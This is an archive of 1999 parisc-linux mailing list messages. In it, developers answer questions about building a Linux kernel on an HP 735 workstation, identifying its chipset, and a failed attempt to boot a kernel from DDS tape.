1. has anybody compiled ncurses, so that make menuconfig works? I'll give
it a try soon.
2. Is my 735 a 712 or 715? Does it matter at this stage?
3. Is my 735 a A class or D class? Does it matter?
4. The HCL notes that the 735 has a 7100, so that part is ok.
5. Gecko or Dino? I don't have one pci-slots, so I guess it's no Dino, right?



Making 0927:
make mrproper
(no errors)

make config:

Gecko support (CONFIG_GECKO) [Y/n/?]
scripts/Configure: [: missing `]'
DINO PCI support (CONFIG_GECKO_DINO) [Y/n/?] n

make dep
(no errors)

make Image:
su-2.03$ make Image
make -C arch/parisc/boot Image
make[1]: Entering directory `/usr/local/linux/arch/parisc/boot'
gcc -g0 mkImage.c -o mkImage
make[1]: *** No rule to make target `../../../vmlinux', needed by `Image'.
Stop
.
make[1]: Leaving directory `/usr/local/linux/arch/parisc/boot'
make: *** [Image] Error 2


make vmlinux:
su-2.03$ make vmlinux
gcc -Wall -Wstrict-prototypes -O2 -fomit-frame-pointer -o
scripts/split-include
scripts/split-include.c
scripts/split-include include/linux/autoconf.h include/config
gcc -D__KERNEL__ -I/usr/local/linux/include -Wall -Wstrict-prototypes -O2
-fomit
-frame-pointer -mdisable-fpregs -fwritable-strings  -fno-strict-aliasing
-pipe -
fno-strength-reduce  -c -o init/main.o init/main.c
init/main.c: In function `init':
init/main.c:1395: warning: implicit declaration of function `sys_dup'
gcc -D__KERNEL__ -I/usr/local/linux/include -Wall -Wstrict-prototypes -O2
-fomit
-frame-pointer -mdisable-fpregs -fwritable-strings  -fno-strict-aliasing
-pipe -
fno-strength-reduce -DUTS_MACHINE='"parisc"' -c -o init/version.o
init/version.c
make -C arch/parisc/boot ramdisk.o
make[1]: Entering directory `/usr/local/linux/arch/parisc/boot'
make[1]: *** No rule to make target `../../../ramdisk.bin', needed by
`ramdisk.c
'.  Stop.
make[1]: Leaving directory `/usr/local/linux/arch/parisc/boot'
make: *** [ramdisk.o] Error 2




Help?

-Simen, with an Apollo 735 Workstation, currently only counting cows.
(110KKeys/s)

--
"We do have a summer. Last year, I remember, it was a Wednesday" 
-Helga-Marie Johnesen, Norwegian citizen, TIME international.

GNUsig v0.9A R3
Support the GNUsig-project! Mail simen-tt@online.no for details.


From - Thu Nov 08 21:16:07 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Bill Katz "\(William\)" <billk@sr.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] compiling on a 735? (fwd)
Date: Mon, 27 Sep 1999 12:51:54 -0700 (PDT)
Lines: 35
Approved: news@gmane.org
Message-ID: <199909271951.MAA10009@meow.sr.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619777 14108 80.91.229.3 (22 Nov 2014 01:29:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:29:37 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: billk@sr.hp.com  Mon Sep 27 13:49:33 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id NAA08554
	for <parisc-linux@puffin.external.hp.com>; Mon, 27 Sep 1999 13:49:32 -0600
Original-Received: (qmail 5331 invoked by uid 15267); 27 Sep 1999 19:52:04 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 5322 invoked from network); 27 Sep 1999 19:52:03 -0000
Original-Received: from atlrel1.hp.com (156.153.255.210)
  by mailserv2.iuinc.com with SMTP; 27 Sep 1999 19:52:03 -0000
Original-Received: from postal.sr.hp.com (root@postal.sr.hp.com [15.4.46.173])
	by atlrel1.hp.com (8.8.6 (PHNE_17135)/8.8.5tis) with ESMTP id PAA02398
	for <parisc-linux@thepuffingroup.com>; Mon, 27 Sep 1999 15:51:17 -0400 (EDT)
Original-Received: from meow.sr.hp.com (billk@meow.sr.hp.com [15.8.162.83]) by postal.sr.hp.com with ESMTP (8.8.6 (PHNE_17190)/8.7.3 TIS 5.0) id MAA00724 for <parisc-linux@thepuffingroup.com>; Mon, 27 Sep 1999 12:51:38 -0700 (PDT)
Original-Received: (from billk@localhost) by meow.sr.hp.com (8.8.6 (PHNE_14041)/8.7.3 TIS 5.0) id MAA10009 for parisc-linux@thepuffingroup.com; Mon, 27 Sep 1999 12:51:54 -0700 (PDT)
X-Mailer: ELM [version 2.4ME+ PL43 (25)]
Xref: news.gmane.org gmane.linux.ports.parisc:9970

|
|Hi!
|
|I've recently gotten hold of a 735/99 (A2608A) workstation (128M ram and 2 
|really loud disks), and would like to contribute.
|
|I've cleaned one of the disks, and on the other I've installed the 
|egcs, flex and make depots (the bash-depot seems to be non-
|existent, so I've compiled and installed it from gnu.org myself.
|
|I've downloaded a kernel snapshot (some days ago), and now have 
|some questions;
|
|1. has anybody compiled ncurses, so that make menuconfig works? I'll give
|it a try soon.
|2. Is my 735 a 712 or 715? Does it matter at this stage?

It's neither, it's a 735.
It is however very similar to a 715/33,50,75, which are completely
different machines than 715/64,80,100.

|3. Is my 735 a A class or D class? Does it matter?

It's neither.

|4. The HCL notes that the 735 has a 7100, so that part is ok.

That's a 7100, not a 7100LC as used in 712, 715/64,80,100.

|5. Gecko or Dino? I don't have one pci-slots, so I guess it's no Dino, right?

It predates all of the Gecko era chips: LASI, DINO, etc.

	-Bill


From - Thu Nov 08 21:16:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alex deVries <adevries@thepuffingroup.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] compiling on a 735?
Date: Mon, 27 Sep 1999 16:22:06 -0400
Organization: The Puffin Group
Lines: 43
Approved: news@gmane.org
Message-ID: <37EFD1EE.6DB82C13@thepuffingroup.com>
References: <199909271923.VAA29471@online.no>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619777 14110 80.91.229.3 (22 Nov 2014 01:29:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:29:37 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Simen Thoresen <simen-tt@online.no>
Original-X-From: adevries@thepuffingroup.com  Mon Sep 27 14:03:58 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id OAA08753
	for <parisc-linux@puffin.external.hp.com>; Mon, 27 Sep 1999 14:03:58 -0600
Original-Received: (qmail 10541 invoked by uid 15267); 27 Sep 1999 20:06:30 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 10531 invoked from network); 27 Sep 1999 20:06:29 -0000
Original-Received: from unknown (HELO feather.thepuffingroup.com) (@216.208.98.2)
  by mailserv2.iuinc.com with SMTP; 27 Sep 1999 20:06:29 -0000
Original-Received: from thepuffingroup.com (IDENT:adevries@localhost [127.0.0.1])
	by feather.thepuffingroup.com (8.9.3/8.9.3) with ESMTP id QAA17343;
	Mon, 27 Sep 1999 16:22:10 -0400
Original-Sender: adevries@thepuffingroup.com
X-Mailer: Mozilla 4.51 [en] (X11; I; Linux 2.2.10 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:9971

Simen Thoresen wrote:
> 1. has anybody compiled ncurses, so that make menuconfig works? I'll give
> it a try soon.

I don't think so, but we would like that.  I just use 'make config' in
the meantime.

> 2. Is my 735 a 712 or 715? Does it matter at this stage?

No, your 735 is a 735, but no, it doesn't matter.

> 3. Is my 735 a A class or D class? Does it matter?

It's really neither, and no, it doesn't matter yet either.   We just
don't have enough IO support yet for it to matter.

> 4. The HCL notes that the 735 has a 7100, so that part is ok.

Yuppers.

> 5. Gecko or Dino? I don't have one pci-slots, so I guess it's no Dino, right?

If it has EISA slots, it probably has WAX, for which we have no docs. 
It likely has Lasi, but I'm not sure and I'd need an HP person to tell
me.

> make[1]: *** No rule to make target `../../../ramdisk.bin', needed by
> `ramdisk.c
> '.  Stop.
> make[1]: Leaving directory `/usr/local/linux/arch/parisc/boot'
> make: *** [ramdisk.o] Error 2


You should grab ramdisk.bin from
ftp://puffin.external.hp.com/pub/parisc/binaries/ramdisks or similiar.

- Alex

-- 
Alex deVries
Vice President of Engineering
The Puffin Group


From - Thu Nov 08 21:16:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] compiling on a 735?
Date: Mon, 27 Sep 1999 12:55:11 -0700
Lines: 29
Approved: news@gmane.org
Message-ID: <199909271955.MAA03838@milano.cup.hp.com>
References: <199909271923.VAA29471@online.no>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619777 14115 80.91.229.3 (22 Nov 2014 01:29:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:29:37 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Simen Thoresen <simen-tt@online.no>
Original-X-From: grundler@cup.hp.com  Mon Sep 27 14:07:54 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id OAA08968
	for <parisc-linux@puffin.external.hp.com>; Mon, 27 Sep 1999 14:07:53 -0600
Original-Received: (qmail 12285 invoked by uid 15267); 27 Sep 1999 20:10:24 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 12278 invoked from network); 27 Sep 1999 20:10:24 -0000
Original-Received: from atlrel2.hp.com (156.153.255.202)
  by mailserv2.iuinc.com with SMTP; 27 Sep 1999 20:10:24 -0000
Original-Received: from milano.cup.hp.com (root@milano.cup.hp.com [15.16.124.11])
	by atlrel2.hp.com (8.8.6 (PHNE_17135)/8.8.5tis) with ESMTP id PAA26612
	for <parisc-linux@thepuffingroup.com>; Mon, 27 Sep 1999 15:55:51 -0400 (EDT)
Original-Received: from localhost (grundler@localhost [127.0.0.1]) by milano.cup.hp.com with SMTP (8.8.6 (PHNE_14041)/8.7.3 TIS Messaging 5.0) id MAA03838; Mon, 27 Sep 1999 12:55:13 -0700 (PDT)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Mon, 27 Sep 1999 21:29:20 PDT."
             <199909271923.VAA29471@online.no> 
Xref: news.gmane.org gmane.linux.ports.parisc:9972

Simen Thoresen wrote:
...
> 2. Is my 735 a 712 or 715? Does it matter at this stage?

More like a 715 but not. 735 has several GSC "EISA" slots vs.
715's goofy one.

> 3. Is my 735 a A class or D class? Does it matter?

Neither. 735 predates the A/D-class nomenclature just like 715/712 do too.

> 4. The HCL notes that the 735 has a 7100, so that part is ok.

yes - should at least work like a 715 for the most part...some of the
other chips might not be the same though. I don't know and wouldn't
count on it.

> 5. Gecko or Dino? I don't have one pci-slots, so I guess it's no Dino, right?

Right. No dino - could install card-mode dino if/when that starts to work.

cheers,
grant


Grant Grundler
Communications Infrastructure Computer Operations
+1.408.447.7253


From - Thu Nov 08 21:16:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Bill Katz "\(William\)" <billk@sr.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] compiling on a 735? (fwd)
Date: Mon, 27 Sep 1999 14:37:49 -0700 (PDT)
Lines: 26
Approved: news@gmane.org
Message-ID: <199909272137.OAA10057@meow.sr.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619778 14118 80.91.229.3 (22 Nov 2014 01:29:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:29:38 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: billk@sr.hp.com  Mon Sep 27 15:35:37 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id PAA09858
	for <parisc-linux@puffin.external.hp.com>; Mon, 27 Sep 1999 15:35:37 -0600
Original-Received: (qmail 14740 invoked by uid 15267); 27 Sep 1999 21:38:08 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 14729 invoked from network); 27 Sep 1999 21:38:08 -0000
Original-Received: from atlrel2.hp.com (156.153.255.202)
  by mailserv2.iuinc.com with SMTP; 27 Sep 1999 21:38:08 -0000
Original-Received: from postal.sr.hp.com (root@postal.sr.hp.com [15.4.46.173])
	by atlrel2.hp.com (8.8.6 (PHNE_17135)/8.8.5tis) with ESMTP id RAA16411
	for <parisc-linux@thepuffingroup.com>; Mon, 27 Sep 1999 17:37:17 -0400 (EDT)
Original-Received: from meow.sr.hp.com (billk@meow.sr.hp.com [15.8.162.83]) by postal.sr.hp.com with ESMTP (8.8.6 (PHNE_17190)/8.7.3 TIS 5.0) id OAA11235 for <parisc-linux@thepuffingroup.com>; Mon, 27 Sep 1999 14:37:34 -0700 (PDT)
Original-Received: (from billk@localhost) by meow.sr.hp.com (8.8.6 (PHNE_14041)/8.7.3 TIS 5.0) id OAA10057 for parisc-linux@thepuffingroup.com; Mon, 27 Sep 1999 14:37:49 -0700 (PDT)
X-Mailer: ELM [version 2.4ME+ PL43 (25)]
Xref: news.gmane.org gmane.linux.ports.parisc:9973

|Simen Thoresen wrote:
|> 3. Is my 735 a A class or D class? Does it matter?
|
|It's really neither, and no, it doesn't matter yet either.   We just
|don't have enough IO support yet for it to matter.
|
|> 4. The HCL notes that the 735 has a 7100, so that part is ok.
|
|Yuppers.
|
|> 5. Gecko or Dino? I don't have one pci-slots, so I guess it's no Dino, right?
|
|If it has EISA slots, it probably has WAX, for which we have no docs. 
|It likely has Lasi, but I'm not sure and I'd need an HP person to tell
|me.

This really all depends if it is an early 715 (/33,50,75) or late
715 (64,80,100). that you are comparing it to.  735s do NOT have
GSC, therefore they do not have WAX.  They do have EISA, but it comes
through ASP and perhaps some other intermediate chips.

I really need to get the docs for the earlier workstations out
before Agilent is split form HP and I don't have docs any more.

	-Bill


From - Thu Nov 08 21:16:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <Matthew.Wilcox@genedata.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Will it run Linux??
Date: Tue, 28 Sep 1999 15:26:58 +0200
Lines: 19
Approved: news@gmane.org
Message-ID: <19990928152658.A20734@mencheca.ch.genedata.com>
References: <Pine.GSO.4.10.9909221240200.14611-100000@oasis.novia.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619778 14122 80.91.229.3 (22 Nov 2014 01:29:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:29:38 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: John Delisle <jdelisle@oasis.novia.net>
Original-X-From: Matthew.Wilcox@genedata.com  Tue Sep 28 07:27:08 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id HAA00866
	for <parisc-linux@puffin.external.hp.com>; Tue, 28 Sep 1999 07:27:08 -0600
Original-Received: (qmail 12931 invoked by uid 15267); 28 Sep 1999 13:27:25 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 12912 invoked from network); 28 Sep 1999 13:27:24 -0000
Original-Received: from mentolat-e0.core.genedata.com (HELO mail.core.genedata.com) (157.161.173.16)
  by mailserv2.iuinc.com with SMTP; 28 Sep 1999 13:27:24 -0000
Original-Received: from relay.ch.genedata.com (pinatubo-e0.ch.genedata.com [157.161.173.48])
	by mail.core.genedata.com (8.9.3/8.9.3) with ESMTP id PAA01605;
	Tue, 28 Sep 1999 15:27:17 +0200
Original-Received: from mencheca.ch.genedata.com (root@mencheca.ch.genedata.com [157.161.173.82])
	by relay.ch.genedata.com (8.9.3/8.9.3) with ESMTP id PAA764228;
	Tue, 28 Sep 1999 15:26:58 +0200 (CEST)
Original-Received: by genedata.com
	via sendmail from stdin
	id <m11VxHW-00025qC@mencheca.ch.genedata.com> (Debian Smail3.2.0.102)
	for jdelisle@oasis.novia.net; Tue, 28 Sep 1999 15:26:58 +0200 (CEST) 
X-Mailer: Mutt 0.95.3i
In-Reply-To: <Pine.GSO.4.10.9909221240200.14611-100000@oasis.novia.net>; from John Delisle on Wed, Sep 22, 1999 at 12:50:49PM -0500
Xref: news.gmane.org gmane.linux.ports.parisc:9974

On Wed, Sep 22, 1999 at 12:50:49PM -0500, John Delisle wrote:
> I run many linux servers from my company and at home.  We have an HP 9000
> 800/H50 and an 800/G40.  Can I run linux on it?  If so, is there a
> FAQ/howto or something? Where do I get it?

Linux/PARISC isn't in a usable state yet.  There is more chance of it
eventually running on the H50 than the G40, but both are likely to be
low-priority projects (unless someone wants to sponsor them :-)

> I'd really rather run linux than hpux.

What do you think is motivating the port?  :-)

-- 
Matthew Wilcox <willy@bofh.ai>
"Windows and MacOS are products, contrived by engineers in the service of
specific companies. Unix, by contrast, is not so much a product as it is a
painstakingly compiled oral history of the hacker subculture." - N Stephenson


From - Thu Nov 08 21:16:07 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ulrich Strelow <ulrich_strelow@yahoo.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Booting from tape
Date: Tue, 28 Sep 1999 07:48:46 -0700 (PDT)
Lines: 76
Approved: news@gmane.org
Message-ID: <19990928144846.10298.rocketmail@send205.yahoomail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619778 14123 80.91.229.3 (22 Nov 2014 01:29:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:29:38 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: ulrich_strelow@yahoo.com  Tue Sep 28 08:48:17 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id IAA01137
	for <parisc-linux@puffin.external.hp.com>; Tue, 28 Sep 1999 08:48:16 -0600
Original-Received: (qmail 8692 invoked by uid 15267); 28 Sep 1999 14:48:37 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 8673 invoked from network); 28 Sep 1999 14:48:36 -0000
Original-Received: from web508.mail.yahoo.com (HELO send205.yahoomail.com) (128.11.68.75)
  by mailserv2.iuinc.com with SMTP; 28 Sep 1999 14:48:36 -0000
Original-Received: from [149.234.12.1] by web508.mail.yahoo.com; Tue, 28 Sep 1999 07:48:46 PDT
Xref: news.gmane.org gmane.linux.ports.parisc:9975

I know that this is extremely low priority but...

I have tried to boot the linux kernel from a SCSI DDS
tape (copied via dd if=Image of=/dev/rmt/0m bs=512).
The same kernel (cvs tree from today) boots
sucessfully via rbootd on my 715/33. Here is the
console log:

              (c) Copyright Hewlett-Packard Company,
1991, 1992
Portions of this code are (c) Copyright Samsung
Electronics Co., Ltd, 91, 92

PDC ROM rev. 1.4
IODC ROM rev. 1.2
48 MB of memory have been configured.


Selecting a system to boot.
To stop selection process, press and hold the ESCAPE
key.

Selection process stopped.

Searching for Potential Boot Devices.
To terminate search, press and hold the ESCAPE key.

Device Selection      Device Path              Device
Type
----------------------------------------------------------------------------

P0                    scsi.6.0                 HP     
C3324A
P1                    scsi.3.0                 HP     
C2490AM
P2                    scsi.0.0                 HP     
HP35480A



b)    Boot from specified device
s)    Search for bootable devices
a)    Enter Boot Administration mode
x)    Exit and continue boot sequence
?)    Help

Select from menu: b p2

Trying scsi.0.0
Boot path initialized.
Attempting to load IPL.

Failed I/O operation with scsi.0.0
ENTRY_IO status = -10

00000000 00000000 00000000 00000000 00000000 00000000
00000000 00000000
00000000 00000000 00000000 00000000 00000000 00000000
00000000 00000000
00004F04 000000FF FF0009BF 00000000 800100DC 00000000
0025F000 00000400
98080000 00000000 00008C60 00000000 000000FF 00000000
00000000 00000000


Searching for Potential Boot Devices.

Should this work or is this a current limitation ?

Ulrich


__________________________________________________
Do You Yahoo!?
Bid and sell for free at http://auctions.yahoo.com


From - Thu Nov 08 21:16:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <Helge.Deller@ruhr-uni-bochum.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Booting from tape
Date: Tue, 28 Sep 1999 17:39:00 +0200
Lines: 90
Approved: news@gmane.org
Message-ID: <99092817410500.01336@P100>
References: <19990928144846.10298.rocketmail@send205.yahoomail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416619779 14128 80.91.229.3 (22 Nov 2014 01:29:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:29:39 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: Helge.Deller@ruhr-uni-bochum.de  Tue Sep 28 09:40:52 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id JAA01494
	for <parisc-linux@puffin.external.hp.com>; Tue, 28 Sep 1999 09:40:52 -0600
Original-Received: (qmail 29684 invoked by uid 15267); 28 Sep 1999 15:41:13 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 29668 invoked from network); 28 Sep 1999 15:41:11 -0000
Original-Received: from sunu450.rz.ruhr-uni-bochum.de (134.147.222.33)
  by mailserv2.iuinc.com with SMTP; 28 Sep 1999 15:41:11 -0000
Original-Received: (qmail 22923 invoked from network); 28 Sep 1999 15:41:06 -0000
Original-Received: from dialppp-3-46.rz.ruhr-uni-bochum.de (HELO P100) (root@134.147.3.46)
  by mailhost.rz.ruhr-uni-bochum.de with SMTP; 28 Sep 1999 15:41:06 -0000
X-Mailer: KMail [version 1.0.21]
Xref: news.gmane.org gmane.linux.ports.parisc:9976

Am Tue, 28 Sep 1999 schrieb Ulrich Strelow:
> I know that this is extremely low priority but...
> 
> I have tried to boot the linux kernel from a SCSI DDS
> tape (copied via dd if=Image of=/dev/rmt/0m bs=512).
> The same kernel (cvs tree from today) boots
> sucessfully via rbootd on my 715/33. Here is the
> console log:
> 
>               (c) Copyright Hewlett-Packard Company,
> 1991, 1992
> Portions of this code are (c) Copyright Samsung
> Electronics Co., Ltd, 91, 92
> 
> PDC ROM rev. 1.4
> IODC ROM rev. 1.2
> 48 MB of memory have been configured.
> 
> 
> Selecting a system to boot.
> To stop selection process, press and hold the ESCAPE
> key.
> 
> Selection process stopped.
> 
> Searching for Potential Boot Devices.
> To terminate search, press and hold the ESCAPE key.
> 
> Device Selection      Device Path              Device
> Type
> ----------------------------------------------------------------------------
> 
> P0                    scsi.6.0                 HP     
> C3324A
> P1                    scsi.3.0                 HP     
> C2490AM
> P2                    scsi.0.0                 HP     
> HP35480A
> 
> 
> 
> b)    Boot from specified device
> s)    Search for bootable devices
> a)    Enter Boot Administration mode
> x)    Exit and continue boot sequence
> ?)    Help
> 
> Select from menu: b p2
> 
> Trying scsi.0.0
> Boot path initialized.
> Attempting to load IPL.
> 
> Failed I/O operation with scsi.0.0
> ENTRY_IO status = -10
> 
> 00000000 00000000 00000000 00000000 00000000 00000000
> 00000000 00000000
> 00000000 00000000 00000000 00000000 00000000 00000000
> 00000000 00000000
> 00004F04 000000FF FF0009BF 00000000 800100DC 00000000
> 0025F000 00000400
> 98080000 00000000 00008C60 00000000 000000FF 00000000
> 00000000 00000000
> 
> 
> Searching for Potential Boot Devices.
> 
> Should this work or is this a current limitation ?

It should work and it did it already in the past. I think the bootloader is
currently not in the best condition since we arent able to boot via
hpux-bootloader too anymore.
(This is one of the problems which will be adressed in the very near future...)

Helge.


> 
> Ulrich
> 
> 
> __________________________________________________
> Do You Yahoo!?
> Bid and sell for free at http://auctions.yahoo.com
> 
> ---------------------------------------------------------------------------
> To unsubscribe: send e-mail to parisc-linux-request@thepuffingroup.com with
> `unsubscribe' as the subject.


From - Thu Nov 08 21:16:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Booting from tape
Date: Tue, 28 Sep 1999 09:19:28 -0700
Lines: 47
Approved: news@gmane.org
Message-ID: <199909281619.JAA05140@milano.cup.hp.com>
References: <19990928144846.10298.rocketmail@send205.yahoomail.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619779 14130 80.91.229.3 (22 Nov 2014 01:29:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:29:39 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Ulrich Strelow <ulrich_strelow@yahoo.com>
Original-X-From: grundler@cup.hp.com  Tue Sep 28 10:20:43 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id KAA01825
	for <parisc-linux@puffin.external.hp.com>; Tue, 28 Sep 1999 10:20:42 -0600
Original-Received: (qmail 13677 invoked by uid 15267); 28 Sep 1999 16:21:01 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 13665 invoked from network); 28 Sep 1999 16:21:00 -0000
Original-Received: from palrel3.hp.com (156.153.255.226)
  by mailserv2.iuinc.com with SMTP; 28 Sep 1999 16:21:00 -0000
Original-Received: from milano.cup.hp.com (root@milano.cup.hp.com [15.16.124.11])
	by palrel3.hp.com (8.8.6 (PHNE_17135)/8.8.5tis) with ESMTP id JAA00271;
	Tue, 28 Sep 1999 09:20:50 -0700 (PDT)
Original-Received: from localhost (grundler@localhost [127.0.0.1]) by milano.cup.hp.com with SMTP (8.8.6 (PHNE_14041)/8.7.3 TIS Messaging 5.0) id JAA05140; Tue, 28 Sep 1999 09:19:32 -0700 (PDT)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Tue, 28 Sep 1999 07:48:46 PDT."
             <19990928144846.10298.rocketmail@send205.yahoomail.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:9977

Ulrich Strelow wrote:
> I know that this is extremely low priority but...
> 
> I have tried to boot the linux kernel from a SCSI DDS
> tape (copied via dd if=Image of=/dev/rmt/0m bs=512).
> The same kernel (cvs tree from today) boots
> sucessfully via rbootd on my 715/33. Here is the
> console log:
...
> Select from menu: b p2
> 
> Trying scsi.0.0
> Boot path initialized.
> Attempting to load IPL.
> 
> Failed I/O operation with scsi.0.0
> ENTRY_IO status = -10
> 
> 00000000 00000000 00000000 00000000 00000000 00000000
> 00000000 00000000
> 00000000 00000000 00000000 00000000 00000000 00000000
> 00000000 00000000
> 00004F04 000000FF FF0009BF 00000000 800100DC 00000000
> 0025F000 00000400
> 98080000 00000000 00008C60 00000000 000000FF 00000000
> 00000000 00000000

I believe this is a problem with either how the tape was created
or talking to the tape drive. Does anyone know where to find what
the -10 status means?

Another difference when booting from tape (vs disk), is how the
tape is "made". One *must* specify 2k block size. It doesn't matter
for disk devices. Eg: 

	dd if=Image of=/dev/rmt/0m bs=2k

I don't know if Image is intentionally padded to a 2k block size.
One might check that too.

grant


Grant Grundler
Communications Infrastructure Computer Operations
+1.408.447.7253


From - Thu Nov 08 21:16:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kirk Bresniker <kirkb@chrome.rose.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Booting from tape
Date: Tue, 28 Sep 1999 10:28:46 PDT
Lines: 47
Approved: news@gmane.org
Message-ID: <199909281728.KAA14093@chrome.rose.hp.com>
References: <199909281619.JAA05140@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619779 14137 80.91.229.3 (22 Nov 2014 01:29:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:29:39 +0000 (UTC)
